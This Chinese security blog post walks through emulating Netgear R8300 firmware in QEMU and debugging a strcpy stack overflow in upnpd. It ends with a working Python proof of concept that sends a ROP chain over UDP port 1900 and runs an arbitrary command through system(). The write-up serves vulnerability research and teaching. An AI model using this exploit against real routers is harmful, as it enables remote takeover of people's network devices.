Netgear R8300栈溢出漏洞分析
2022-3-30 15:12:38 Author: www.secpulse.com(查看原文) 阅读量:40 收藏

漏洞描述:

在upnpd文件sub_25E04函数中,存在栈溢出漏洞。strcpy时未检查长度,造成溢出并可构造ROP攻击实现命令执行。
版本:1.0.2.134

漏洞分析与复现
一、固件模拟
利用qemu系统模拟:

qemu启动:
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap -nographic
ubuntu网络配置:
#! /bin/sh 
sudo sysctl -w net.ipv4.ip_forward=1 
sudo iptables -F 
sudo iptables -X 
sudo iptables -t nat -F 
sudo iptables -t nat -X 
sudo iptables -t mangle -F 
sudo iptables -t mangle -X 
sudo iptables -P INPUT ACCEPT 
sudo iptables -P FORWARD ACCEPT 
sudo iptables -P OUTPUT ACCEPT 
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE 
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT 
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT 
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
qemu网络配置:
#!/bin/sh
ifconfig eth0 192.168.100.2 netmask 255.255.255.0 
route add default gw 192.168.100.254
传输文件:
scp -r squashfs-root/ [email protected]:~/
运行:
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh

1、修复run文件:
提示报错如下,发现是缺少对应文件

3247 open("/var/run/upnpd.pid",O_RDWR|O_CREAT|O_TRUNC,0666) = -1 errno=2 (No such file or directory)

于是手动创建对应文件:

mkdir -p ./tmp/var/run

2、修复nvram文件:
重新运行upnpd文件,又报错,追踪到报错如下:

/dev/nvram: No such device
3274 open("/lib/libnvram.so",O_RDONLY) = -1 errno=2 (No such file or directory)
3276 open("/dev/nvram",O_RDWR) = -1 errno=2 (No such file or directory)
/dev/nvram3276 write(2,0x3ff794d8,10) = 10

发现是缺少nvram依赖,nvram中保存了设备的一些配置信息,而程序运行时需要读取配置信息,由于缺少对应的外设,因此会报错。要编译nvram文件,可以使用Firmadyne提供的libnvram库,因为其支持很多的api。
Firmadyne提供的库地址如下:https://github.com/firmadyne/libnvram

网上也有专门为netgear路由器编写的nvram文件,这次选用这个专用的。链接如下:https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c

这里本来想用arm的交叉编译工具链编译,但是一直报错,在这里使用buildroot安装交叉编译工具链。

tar -xzvf buildroot-2019.02.1.tar.gz
sudo chmod -R 777 buildroot-2019.02.1
sudo make clean
sudo make menuconfig
设置架构为arm little endian
sudo make -j8
gedit /etc/profile
export PATH=$PATH:/home/ubuntu/buildroot-2019.02.1/output/host/usr/bin
source /etc/profile

然后编译nvram.c文件

arm-linux-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so

手动加载nvram.so文件,再次运行:

LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd

提示报错:

# ./usr/sbin/upnpd: can't resolve symbol 'dlsym'

3、dlsym劫持
nvram库的实现者还同时 hook 了 system、fopen、open 等函数,因此还会用到 dlsym,/lib/libdl.so.0导出了该符号。因此运行的时候注意还要加载该链接库。查找其对应的libc文件

$ grep -r "dlsym"
Binary file nvram.so matches
Binary file sbin/pppd matches
Binary file usr/local/sbin/openvpn matches
Binary file usr/sbin/tc matches
Binary file usr/sbin/afpd matches
Binary file usr/lib/libasound.so matches
Binary file usr/lib/libsqlite3.so matches
nvram.c:   real_system = dlsym(RTLD_NEXT, "system");
nvram.c:   real_fopen = dlsym(RTLD_NEXT, "fopen");
nvram.c:   real_open = dlsym(RTLD_NEXT, "open");
Binary file lib/libldb.so.1 matches
Binary file lib/libhcrypto-samba4.so.5 matches
Binary file lib/libkrb5-samba4.so.26 matches
Binary file lib/libdl.so.0 matches
Binary file lib/libsqlite3.so.0 matches
Binary file lib/libcrypto.so.1.0.0 matches
Binary file lib/libsamba-modules-samba4.so matches

$ readelf -a lib/libdl.so.0 | grep dlsym
26: 000010f0   296 FUNC    GLOBAL DEFAULT    7 dlsym

再次手动加载运行:

LD_PRELOAD="./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd

提示报错:

[0x3ff60cb8] fopen('/tmp/nvram.ini''r') = 0x00000000
Cannot open /tmp/nvram.ini

4、修复nvram.ini文件
修复nvram.ini文件参考网上资料:[https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini]https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini

upnpd_debug_level=9
lan_ipaddr=192.168.100.2(用户模拟对应本机ip,qemu对应qemu的ip)
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF

直接在tmp文件夹中创建nvram.ini并填入上述内容即可

再次运行upnpd文件,即可成功执行:

# LD_PRELOAD="./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd
# [0x00026460] fopen('/var/run/upnpd.pid', 'wb+') = 0x004bf008
[0x0002648c] custom_nvram initialised
[0x76e65cb8] fopen('/tmp/nvram.ini''r') = 0x004bf008
[nvram 0] upnpd_debug_level = 9
[nvram 1] lan_ipaddr = 192.168.100.2
[nvram 2] hwver = R8500
[nvram 3] friendly_name = R8300
[nvram 4] upnp_enable = 1
[nvram 5] upnp_turn_on = 1
[nvram 6] upnp_advert_period = 30
[nvram 7] upnp_advert_ttl = 4
[nvram 8] upnp_portmap_entry = 1
[nvram 9] upnp_duration = 3600
[nvram 10] upnp_DHCPServerConfigurable = 1
[nvram 11] wps_is_upnp = 0
[nvram 12] upnp_sa_uuid = 00000000000000000000
[nvram 13] lan_hwaddr = AA:BB:CC:DD:EE:FF
[nvram 14] lan_hwaddr = 
Read 15 entries from /tmp/nvram.ini
acosNvramConfig_get('upnpd_debug_level') = '9'
[0x0002652c] acosNvramConfig_get('upnpd_debug_level') = '9'
set_value_to_org_xml:1149()
[0x0000e1e8] fopen('/www/Public_UPNP_gatedesc.xml''rb') = 0x004bf008
[0x0000e220] fopen('/tmp/upnp_xml''wb+') = 0x004bf008
data2XML()
[0x0000f520] acosNvramConfig_get('lan_ipaddr') = '192.168.100.2'
xmlValueConvert()
[0x76da1838] acosNvramConfig_get('hwrev') = ''
[0x0000b40c] acosNvramConfig_get('hwver') = 'R8500'
[0x0000b428] acosNvramConfig_get('hwver') = 'R8500'
[0x76da1838] acosNvramConfig_get('hwrev') = ''
[0x0000b478] acosNvramConfig_get('hwver') = 'R8500'
[0x0000b494] acosNvramConfig_get('hwver') = 'R8500'
[0x0000f4ec] acosNvramConfig_get('friendly_name') = 'R8300'
xmlValueConvert()

二、漏洞分析与调试
逆向分析upnpd文件如下,v51变量recvfrom获取内容后,调用sub_25E04函数,其中的strcpy函数将v51超长数据直接赋值给v39较小的缓冲区,造成栈溢出:

利用gdbserver进行调试:

qemu端:
# echo 0 > /proc/sys/kernel/randomize_va_space 关闭地址随机化
# ps | grep upnp
 2446 0          3324 S   ./usr/sbin/upnpd 
 2688 0          1296 S   grep upnp
# ./gdbserver-7.7.1-armhf-eabi5-v1-sysv :12345 --attach 2446
主机端:
gdb-multiarch
pwndbg> set architecture arm
pwndbg> set endian little
pwndbg> target remote 192.168.100.2:12345

返回地址所在栈空间和strcpy目标地址如下图:


因此可知strcpy目标地址距离返回地址长度为:0x7ec6bc1c-0x7ec6b5ec=0x630
构造数据包发送:
#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
    0x630 * b'a' +
    p32(0x43434343)
)
print(payload)
s.connect(('192.168.100.2', 1900))
s.send(payload)
s.close()

但是这样发送不能成功覆盖返回地址,报错如下:

因为漏洞函数内的v39指针曾经存储到v41,v41在后续还被调用,如果被覆盖为无效地址后会产生异常,因此发送payload时,要把v41指针,即[R7-#8]所在的栈空间覆盖为有效地址,这里将其覆盖为原先v39的地址,调试得到与strcpy目标地址的偏移为0x604

因此构造新的数据包发送:
#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
    0x604 * b'a' +  
    p32(0x7effd5ec) +  # v41
    0x28 * b'a' +  
    p32(0x43434343)
)
s.connect(('192.168.100.2', 1900))
s.send(payload)
s.close()

覆盖返回地址如下图:

但是发现发送的payload为0x43434343,但是覆盖之后变为0x43434342,末位由1变为了0。这点可以参考链接:https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html
原因总之来说为:  
1.首先溢出覆盖了非叶函数的返回地址。一旦这个函数执行它的结束语来恢复保存的值,保存的LR就被弹出到PC中返回给调用者。  
2.其次关于最低有效位的一个注意事项:BX指令将加载到PC的地址的LSB复制到CPSR寄存器的T状态位,CPSR寄存器在ARM和Thumb模式之间切换:ARM(LSB=0)/Thumb(LSB=1)。  
我们可以看到R8300是运行在THUMB状态:  
当处理器处于ARM状态时,每条ARM指令为4个字节,所以PC寄存器的值为当前指令地址 + 8字节  
当处理器处于Thumb状态时,每条Thumb指令为2字节,所以PC寄存器的值为当前指令地址 + 4字节  
因此保存的LR(用0x43434343覆盖)被弹出到PC中,然后弹出地址的LSB被写入CPSR寄存器T位(位5),最后PC本身的LSB被设置为0,从而产生0x43434342

但是这条指令其实不是bx指令,但是因为精简指令集地址四字节对齐的缘故,地址要被4能够整除那么末两个字节必须都为0,所以会变为0x42

checksec检查upnpd文件如下:

Arch:     arm-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8000)

因此可知目前有以下条件:

1.可以通过栈溢出控制R4-R11以及PC寄存器的值
2.存在ASLR防护,因此不能直接写死libc的地址
3.存在NX防护,因此不能直接将shellcod布置到栈空间上
4.strcpy函数导致的栈溢出,因此payload中不能包含'x00'字节,否则会被截断

三、漏洞利用
漏洞利用思路如下图,整体思路为利用堆栈复用。先利用第一次recvfrom,将expayload布置到栈空间上,并利用strcpy'x00'截断的特性,不会造成漏洞函数的溢出。

整体的ROP链构造思路如下图所示:

因此构造poc如下:
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
cmd=raw_input("cmd injection: ")
payload1 = (
    'x00'+  
    0x7bb*'a' + 
    p32(0x970a0)+              #r4,bss
    8*'a'+                     #r5,r6
    p32(0xb764)+               #gadget2
    cmd.ljust(0x400,"x00")+   #sp
    0xc*'a'+                   #r4,r5,r6
    p32(0xaaac)                #system
)
payload2=(
    0x604 * b'a' +  
    p32(0x7effd5fc) +          #v41
    0x28 * b'a' +               
    p32(0x13334)               #gadget1
)
s.connect(('192.168.100.2', 1900))
s.send(payload1)
s.send(payload2)
s.close()

RCE如下图所示:

总结
通过此漏洞调试可以全面系统的了解iot漏洞的模拟、分析、调试、利用流程。

参考资料:
https://cq674350529.github.io/2020/09/16/PSV-2020-0211-Netgear-R8300-UPnP%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://cool-y.github.io/2021/01/08/Netgear-psv-2020-0211/

end

本文作者:ChaMd5安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/175968.html


文章来源: https://www.secpulse.com/archives/175968.html
如有侵权请联系:admin#unsafe.sh